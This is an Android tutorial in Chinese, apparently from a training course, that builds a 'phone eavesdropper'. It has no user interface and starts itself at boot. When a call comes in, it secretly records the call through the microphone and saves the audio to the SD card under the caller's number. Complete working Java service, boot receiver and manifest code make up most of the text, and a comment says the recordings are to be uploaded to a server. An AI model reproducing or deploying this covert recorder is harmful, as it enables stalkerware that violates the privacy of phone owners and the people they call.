组件—服务
后台长期运行的没有界面的一个activity。
电话窃听器:
需求:
1.没有界面,一般用户看不到,开机自动启动
2.长期的后台运行,监视当前用户的手机状态
3.通话状态,开启一个录音机,然后录音通话记录,保存在sd卡中。
创建服务的步骤:
1.写一个类,继承系统的Service组件
2.清单文件配置
3.在服务的onCreate()方法做服务初始化的操作
4.在服务的onDestroy()方法里面做服务扫尾操作
5.开启服务startService(intent) stopService(intent)。
一.自己写界面控制服务的开启和关闭
xml文件很简单,就两个button开启服务和关闭服务,不给出了。
MainActivity.java文件,
package com.itheima.phonelistener; import android.os.Bundle; import android.app.Activity; import android.content.Intent; import android.view.Menu; import android.view.View; public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); } /** * 开启服务按钮对应的点击时间 * @param view */ public void start(View view){ //定义服务的意图对象 Intent intent = new Intent(this,PhoneStatusService.class); startService(intent); } /** * 关闭服务按钮对应的点击时间 * @param view */ public void stop(View view){ Intent intent = new Intent(this,PhoneStatusService.class); stopService(intent); } }
服务PhoneStatusService.java文件,
package com.itheima.phonelistener; import java.io.File; import java.io.IOException; import android.app.Service; import android.content.Intent; import android.media.MediaRecorder; import android.media.MediaRecorder.AudioSource; import android.os.Environment; import android.os.IBinder; import android.telephony.PhoneStateListener; import android.telephony.TelephonyManager; import android.util.Log; public class PhoneStatusService extends Service { public static final String TAG = "PhoneStatusService"; //声明手机电话系统状态管理的服务类 private TelephonyManager tm; //电话状态的监听器 private MyPhoneListener myPhoneListener; //定义一个电话录音机 private MediaRecorder mediaRecorder; @Override public IBinder onBind(Intent arg0) { return null; } //Called by the system when the service is first created //当服务第一次被创建的时候执行,由系统执行的。 @Override public void onCreate() { //获取手机电话状态管理的服务。 tm = (TelephonyManager)getSystemService(TELEPHONY_SERVICE); //创建一个监听器,监听电话呼叫状态的变化。 myPhoneListener = new MyPhoneListener(); //开始监听用户的通话状态 tm.listen(myPhoneListener, PhoneStateListener.LISTEN_CALL_STATE); super.onCreate(); } //Called by the system to notify a Service that it is no longer used and is being removed //当服务被停止的时候调用。 @Override public void onDestroy() { //服务停止取消电话的监听器 tm.listen(myPhoneListener, PhoneStateListener.LISTEN_NONE); myPhoneListener = null; super.onDestroy(); } private class MyPhoneListener extends PhoneStateListener{ //当手机呼叫状态变化的时候 执行下面代码。 //state 电话的状态 //incomingnumber 来电号码 @Override public void onCallStateChanged(int state, String incomingNumber) { try { //判断我们当前手机的通话状态 switch (state) { //手机处于空闲状态,没有人打电话 没有零响 case TelephonyManager.CALL_STATE_IDLE: Log.i(TAG,"手机处于空闲状态,检查刚才是否开启了录音机,如果开启了,保存音频到sd卡"); if(mediaRecorder!=null){ //8.停止录音 mediaRecorder.stop(); //9.释放资源。 mediaRecorder.release(); //方便垃圾回收器回收掉资源 mediaRecorder = null; //上传音频文件到服务器 。 网络请求api。删除sd卡临时保存的文件。 } break; //手机零响状态 case TelephonyManager.CALL_STATE_RINGING: Log.i(TAG,"手机铃声响的状态,悄悄地开启一个录音机,准备录音。"); //1.第一步创建一个多媒体录音机的实例 mediaRecorder = new MediaRecorder(); //2.指定录音机的音频源 录音的音源是麦克风 mediaRecorder.setAudioSource(AudioSource.MIC); //3.指定这个音频文件的格式 。 mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); //4.指定录出来的音频文件保存的文件路径 File file = new File(Environment.getExternalStorageDirectory(),incomingNumber+".3gp"); mediaRecorder.setOutputFile(file.getAbsolutePath()); //5.设置音频的编码格式 mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT); //6.准备开始录音 mediaRecorder.prepare(); break; //电话接通状态,用户正在打电话 case TelephonyManager.CALL_STATE_OFFHOOK: Log.i(TAG,"手机处于通话状态,开始录音,把用户说的话都给录下来。"); if(mediaRecorder!=null){ //7.开始录音 mediaRecorder.start(); } break; } super.onCallStateChanged(state, incomingNumber); } catch (Exception e) { e.printStackTrace(); } } } }
配置文件AndroidManifest.xml添加
<service android:name="com.itheima.phonelistener.PhoneStatusService" > </service>
<!-- 监视用户电话的状态侵犯了用户的隐私,需要权限 --> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <!-- 录音需要权限 --> <uses-permission android:name="android.permission.RECORD_AUDIO" /> <!-- 写sd卡 --> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
二.开机自动启动服务
配置文件AndroidManifest.xml添加
<!-- 接收手机启动完毕广播事件的权限,在4.0以前的版本,不需要添加这个权限也可以开启启动, 在4.0以后的版本 不包括4。0必须要添加开机启动的权限 --> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
自定义开机广播接受者,
package com.itheima.phonelistener; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.util.Log; public class BootCompleteReceiver extends BroadcastReceiver { private static final String TAG = "BootCompleteReceiver"; @Override public void onReceive(Context context, Intent intent) { Log.i(TAG,"手机启动完毕了,监视到了手机启动的广播事件,开启后台监听的服务"); Intent i = new Intent(context,PhoneStatusService.class); context.startService(i); } }
查看sd卡路径下可以找到.3gp文件,就是通话的录音文件。
时间: 2024-10-07 00:40:57